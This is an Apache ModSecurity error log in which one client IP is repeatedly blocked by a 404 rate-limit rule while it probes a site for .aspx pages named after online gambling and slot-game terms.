[Mon May 11 04:58:29.449142 2026] [:error] [pid 65261:tid 65346] [client 75.119.155.172:56330] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "agDxdZu_9uQJeFrcOsstSwAAAJc"]
[Mon May 11 04:58:32.058738 2026] [:error] [pid 65366:tid 65369] [client 75.119.155.172:56346] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "agDxeKhVGdYzapDtv-HhmQAAAME"]
[Mon May 11 04:58:34.624711 2026] [:error] [pid 65366:tid 65378] [client 75.119.155.172:56350] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "agDxeqhVGdYzapDtv-HhnQAAAMk"]
[Mon May 11 04:58:37.207185 2026] [:error] [pid 65260:tid 65301] [client 75.119.155.172:56354] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "agDxfTqbzwIHjP6Y_3FsogAAAEU"]
[Mon May 11 04:58:39.790657 2026] [:error] [pid 65259:tid 65285] [client 75.119.155.172:24712] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "agDxfwPsXLnMa32ma5BMDwAAABE"]
[Mon May 11 04:58:42.372968 2026] [:error] [pid 65259:tid 65287] [client 75.119.155.172:24720] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "agDxggPsXLnMa32ma5BMEQAAABM"]
[Mon May 11 04:58:44.956079 2026] [:error] [pid 65259:tid 65268] [client 75.119.155.172:24726] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "agDxhAPsXLnMa32ma5BMFAAAAAA"]
[Mon May 11 04:58:47.557495 2026] [:error] [pid 65261:tid 65343] [client 75.119.155.172:60346] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "agDxh5u_9uQJeFrcOsstUwAAAJQ"]
[Mon May 11 04:58:50.058815 2026] [:error] [pid 65260:tid 65310] [client 75.119.155.172:60350] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "agDxijqbzwIHjP6Y_3FspQAAAE4"]
[Mon May 11 04:58:52.651952 2026] [:error] [pid 65259:tid 65278] [client 75.119.155.172:60358] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "agDxjAPsXLnMa32ma5BMFQAAAAo"]
[Mon May 11 04:58:55.320458 2026] [:error] [pid 65260:tid 65312] [client 75.119.155.172:60360] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "agDxjzqbzwIHjP6Y_3FsqAAAAFA"]
[Mon May 11 04:58:57.815866 2026] [:error] [pid 65261:tid 65328] [client 75.119.155.172:13704] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "agDxkZu_9uQJeFrcOsstWwAAAIU"]
[Mon May 11 04:59:00.468802 2026] [:error] [pid 65261:tid 65329] [client 75.119.155.172:13716] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "agDxlJu_9uQJeFrcOsstYAAAAIY"]
[Mon May 11 04:59:03.091502 2026] [:error] [pid 65260:tid 65305] [client 75.119.155.172:13720] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "agDxlzqbzwIHjP6Y_3FsrAAAAEk"]
[Mon May 11 04:59:05.656775 2026] [:error] [pid 65261:tid 65326] [client 75.119.155.172:13722] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "agDxmZu_9uQJeFrcOsstZAAAAIM"]
[Mon May 11 04:59:08.291552 2026] [:error] [pid 65260:tid 65299] [client 75.119.155.172:34958] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "agDxnDqbzwIHjP6Y_3FssQAAAEM"]
[Mon May 11 04:59:10.879923 2026] [:error] [pid 65261:tid 65337] [client 75.119.155.172:34970] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "agDxnpu_9uQJeFrcOsstagAAAI4"]
[Mon May 11 04:59:13.499268 2026] [:error] [pid 65261:tid 65347] [client 75.119.155.172:34976] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "agDxoZu_9uQJeFrcOsstbgAAAJg"]
[Mon May 11 04:59:44.186384 2026] [:error] [pid 65259:tid 65292] [client 75.119.155.172:49110] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "agDxwAPsXLnMa32ma5BMMAAAABg"]
[Mon May 11 04:59:46.561360 2026] [:error] [pid 65261:tid 65329] [client 75.119.155.172:49112] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "agDxwpu_9uQJeFrcOssthAAAAIY"]
[Mon May 11 04:59:49.139743 2026] [:error] [pid 65261:tid 65343] [client 75.119.155.172:44878] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "agDxxZu_9uQJeFrcOssthwAAAJQ"]
[Mon May 11 04:59:51.533370 2026] [:error] [pid 65260:tid 65301] [client 75.119.155.172:44886] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "agDxxzqbzwIHjP6Y_3FsxwAAAEU"]
[Mon May 11 04:59:54.125133 2026] [:error] [pid 65260:tid 65300] [client 75.119.155.172:44902] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "agDxyjqbzwIHjP6Y_3FsyAAAAEQ"]
[Mon May 11 04:59:56.726555 2026] [:error] [pid 65259:tid 65272] [client 75.119.155.172:44918] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "agDxzAPsXLnMa32ma5BMNQAAAAQ"]
[Mon May 11 04:59:59.292458 2026] [:error] [pid 65260:tid 65313] [client 75.119.155.172:5668] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "agDxzzqbzwIHjP6Y_3FszQAAAFE"]
[Mon May 11 05:00:01.954037 2026] [:error] [pid 65259:tid 65284] [client 75.119.155.172:5676] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "agDx0QPsXLnMa32ma5BMNwAAABA"]
[Mon May 11 05:00:04.721484 2026] [:error] [pid 65261:tid 65330] [client 75.119.155.172:5690] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "agDx1Ju_9uQJeFrcOsstjgAAAIc"]
[Mon May 11 05:00:07.431124 2026] [:error] [pid 65366:tid 65370] [client 75.119.155.172:5692] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "agDx16hVGdYzapDtv-HhxgAAAMI"]
[Mon May 11 05:00:09.988649 2026] [:error] [pid 65260:tid 65310] [client 75.119.155.172:43030] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "agDx2TqbzwIHjP6Y_3Fs0gAAAE4"]
[Mon May 11 05:00:12.693757 2026] [:error] [pid 65260:tid 65320] [client 75.119.155.172:43032] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "agDx3DqbzwIHjP6Y_3Fs0wAAAFg"]
[Mon May 11 05:00:15.334531 2026] [:error] [pid 65261:tid 65342] [client 75.119.155.172:43040] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "agDx35u_9uQJeFrcOsstkAAAAJM"]
[Mon May 11 05:00:17.914718 2026] [:error] [pid 65261:tid 65325] [client 75.119.155.172:43930] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "agDx4Zu_9uQJeFrcOsstkgAAAII"]
[Mon May 11 05:00:20.457889 2026] [:error] [pid 65366:tid 65373] [client 75.119.155.172:43944] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "agDx5KhVGdYzapDtv-HhzwAAAMU"]
[Mon May 11 05:00:23.103932 2026] [:error] [pid 65366:tid 65384] [client 75.119.155.172:43958] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "agDx56hVGdYzapDtv-Hh0gAAAM8"]
[Mon May 11 05:00:25.490364 2026] [:error] [pid 65259:tid 65289] [client 75.119.155.172:43972] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "agDx6QPsXLnMa32ma5BMPgAAABU"]
[Mon May 11 05:00:28.167143 2026] [:error] [pid 65259:tid 65270] [client 75.119.155.172:45802] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "agDx7APsXLnMa32ma5BMQAAAAAI"]
[Mon May 11 05:00:30.699879 2026] [:error] [pid 65261:tid 65333] [client 75.119.155.172:45816] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "agDx7pu_9uQJeFrcOsstoQAAAIo"]
[Mon May 11 05:00:33.398455 2026] [:error] [pid 65259:tid 65269] [client 75.119.155.172:45826] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "agDx8QPsXLnMa32ma5BMQwAAAAE"]
[Mon May 11 05:00:35.981832 2026] [:error] [pid 65260:tid 65308] [client 75.119.155.172:45832] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "agDx8zqbzwIHjP6Y_3Fs7AAAAEw"]
[Mon May 11 05:00:38.565310 2026] [:error] [pid 65259:tid 65275] [client 75.119.155.172:33328] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "agDx9gPsXLnMa32ma5BMSQAAAAc"]
[Mon May 11 05:01:09.361477 2026] [:error] [pid 65366:tid 65373] [client 75.119.155.172:63186] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "agDyFahVGdYzapDtv-Hh_wAAAMU"]
[Mon May 11 05:01:11.928584 2026] [:error] [pid 65366:tid 65370] [client 75.119.155.172:63198] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "agDyF6hVGdYzapDtv-HiAgAAAMI"]
[Mon May 11 05:01:14.499204 2026] [:error] [pid 65259:tid 65282] [client 75.119.155.172:63212] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "agDyGgPsXLnMa32ma5BMYwAAAA4"]
[Mon May 11 05:01:17.154276 2026] [:error] [pid 65366:tid 65379] [client 75.119.155.172:63222] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "agDyHahVGdYzapDtv-HiCAAAAMo"]
[Mon May 11 05:01:19.743535 2026] [:error] [pid 65366:tid 65390] [client 75.119.155.172:57776] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "agDyH6hVGdYzapDtv-HiCQAAANU"]
[Mon May 11 05:01:22.246654 2026] [:error] [pid 65366:tid 65371] [client 75.119.155.172:57778] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "agDyIqhVGdYzapDtv-HiEAAAAMM"]
[Mon May 11 05:01:24.890906 2026] [:error] [pid 65366:tid 65373] [client 75.119.155.172:57782] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "agDyJKhVGdYzapDtv-HiFQAAAMU"]
[Mon May 11 05:01:27.484422 2026] [:error] [pid 65366:tid 65371] [client 75.119.155.172:34370] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "agDyJ6hVGdYzapDtv-HiGQAAAMM"]
[Mon May 11 05:01:30.080215 2026] [:error] [pid 65366:tid 65374] [client 75.119.155.172:34382] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "agDyKqhVGdYzapDtv-HiHwAAAMY"]
[Mon May 11 05:01:32.663607 2026] [:error] [pid 65259:tid 65273] [client 75.119.155.172:34386] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "agDyLAPsXLnMa32ma5BMaQAAAAU"]
[Mon May 11 05:01:35.259044 2026] [:error] [pid 65366:tid 65388] [client 75.119.155.172:34394] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "agDyL6hVGdYzapDtv-HiKQAAANM"]
[Mon May 11 05:01:37.771433 2026] [:error] [pid 65261:tid 65330] [client 75.119.155.172:53598] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "agDyMZu_9uQJeFrcOsst8gAAAIc"]
[Mon May 11 05:01:40.409109 2026] [:error] [pid 65366:tid 65389] [client 75.119.155.172:53604] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "agDyNKhVGdYzapDtv-HiMwAAANQ"]
[Mon May 11 05:01:42.886305 2026] [:error] [pid 65366:tid 65385] [client 75.119.155.172:53614] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "agDyNqhVGdYzapDtv-HiOAAAANA"]
[Mon May 11 05:01:45.475855 2026] [:error] [pid 65366:tid 65389] [client 75.119.155.172:53628] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "agDyOahVGdYzapDtv-HiPgAAANQ"]
